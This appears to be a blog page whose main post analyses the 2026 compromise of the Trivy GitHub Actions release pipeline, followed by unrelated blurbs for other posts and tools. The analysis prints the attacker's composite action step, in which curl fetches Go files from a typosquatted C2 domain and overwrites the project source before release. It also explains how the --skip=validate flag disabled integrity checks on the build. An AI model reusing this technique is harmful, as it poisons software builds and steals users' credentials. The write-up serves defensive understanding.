A few days ago I wrote about how the Trivy ecosystem got turned into a credential stealer. One of my takeaways was “pin by SHA.” Every supply chain security guide says it, I’ve said it, every subreddit says it, and the GitHub Actions hardening docs say it.
The Trivy attack proved it wrong, and I think we need to talk about why.
So this is how Trivy got turned into a supply chain attack nightmare. On March 4, commit 1885610c landed in aquasecurity/trivy with the message fix(ci): Use correct checkout pinning, attributed to DmitriyLewen (who's a legit maintainer). The diff touched two workflow files across 14 lines, and most of it was noise like single quotes swapped for double quotes, a trailing space removed from a mkdir line. It was the kind of commit that passes review because there's nothing to review.
Two lines mattered. The first swapped the actions/checkout SHA in the release workflow:
The # v6.0.2 comment stayed. The SHA changed. The second added --skip=validate to the GoReleaser invocation, telling it not to run integrity checks on the build artifacts.
The payload lived at the other end of that SHA. Commit 70379aad sits in the actions/checkout repository as an orphaned commit (someone forked and created a commit with the malicious code). GitHub's architecture makes fork commits reachable by SHA from the parent repo (which makes me rethink SHA pinning being the answer to all our problems). The author is listed as Guillermo Rauch [[email protected]] (spoofed, again), the commit message references PR #2356 (a real, closed pull request by a GitHub employee), and the commit is unsigned. Everything about it is designed to look routine if you only glance at the metadata.
The diff replaced action.yml's Node.js entrypoint with a composite action. The composite action performs a legitimate checkout via the parent commit, then silently overwrites the Trivy source tree:
- name: "Setup Checkout"
shell: bash
run: |
BASE="https://scan.aquasecurtiy[.]org/static" # This is the actual bad guy's domain btw
curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null
curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null
curl -sf "$BASE/fork_unix.go" -o cmd/trivy/fork_unix.go &> /dev/null
curl -sf "$BASE/fork_windows.go" -o cmd/trivy/fork_windows.go &> /dev/null
curl -sf "$BASE/.golangci.yaml" -o .golangci.yaml &> /dev/null
Four Go files pulled from the same typosquatted C2 and dropped into cmd/trivy/, replacing the legitimate source. A fifth download replaced .golangci.yaml to disable linter rules that would have flagged the injected code. The C2 is no longer serving these files, so the exact contents can't be independently verified, but the file names and Wiz's behavioral analysis of the compiled binary tell the story: main.go bootstrapped the malware before the real scanner, scand.go carried the credential-stealing logic, and fork_unix.go/fork_windows.go handled platform-specific persistence.
When GoReleaser ran with validation skipped, it built binaries from this poisoned source and published them as v0.69.4 through Trivy's own release infrastructure. No runtime download, no shell script, no base64. The malware was compiled in.
This is wild stuff. I wrote a blog with more details if anyone's curious
On March 19, 2026, someone (or some group) poisoned the Aqua Security Trivy ecosystem. A tool that thousands of organizations rely on to find vulnerabilities in their container images and configurations was quietly turned into a weapon that stole their secrets instead. I spent some time pulling apart the malicious code and cross-referencing findings from Wiz’s analysis, and figured the walkthrough was worth sharing. Here’s how it happened (and how a majority of the tech industry ignored the compromise because it was a Friday).
Imagine that Patrick Swayze is writing an SDK. He’s haunted by memories of ripping out a man’s throat for a nil pointer deference. To recoop, he sits down in his home office and begins writing a function to issue a new HTTP request to the API, applying authentication and common headers. Before he even writes the NewRequest logic, he introduces the Roadhouse pattern. The idea is that he wants to fail fast before any work begins, return specific sentinel errors so he knows where it all went wrong, and declare invariants where the guard clauses ARE the documentation for what to accept. Take a look at this function:
Utmost brings the timeless insights of Oswald Chambers' My Utmost for His Highest to your command line. It fetches the daily devotional entry from utmost.org and displays it with beautiful terminal styling—perfect for starting your day with reflection before diving into code.
After a few years of writing open-source Terraform modules, I’ve picked up a few syntax tricks that make code safer, cleaner, and easier to maintain. These aren’t revolutionary, but they’re simple patterns that prevent common mistakes and make the infrastructure more resilient. Based on the configurations I’ve seen in the wild, these techniques seem to be underutilized.
A few weeks ago, something clicked. Why do we divide environments into development, staging, and production? Why do we have hot, warm, and cold storage tiers? Why does our CI/CD pipeline have build and test, staging deployment, and production deployment gates? The number three keeps appearing in systems work, and surprisingly few people explicitly discuss it.
Terrafetch is the Neofetch of Terraform—because your infrastructure deserves a little flair. It scans your Terraform repository and displays key statistics like the number of variables, resources, modules, outputs, and more—all in a stylish, terminal-friendly format. Perfect for CLI screenshots, repo intros, or just flexing your infra hygiene.
Today, I’m tackling another silent killer: toil. It’s the invisible weight dragging teams down, forcing engineers to maintain instead of build. While some toil is inevitable, too much of it suffocates innovation and drives attrition. Let’s talk about how it happens—and how to stop it.
Here's the problem: You spin up a Terraform resource, pull a basic configuration from the registry, and start wondering what other parameters should be enabled to make it more secure and efficient. Sure, you could use tools like TLint or TFSec, but kuzco saves you time by avoiding the need to dig through the Terraform registry and decipher unclear options. It leverages local LLMs to recommend what should be enabled and configured. Simply put, kuzco reviews your Terraform resources, compares them to the provider schema to detect unused parameters, and uses AI to suggest improvements for a more secure, reliable, and optimized setup.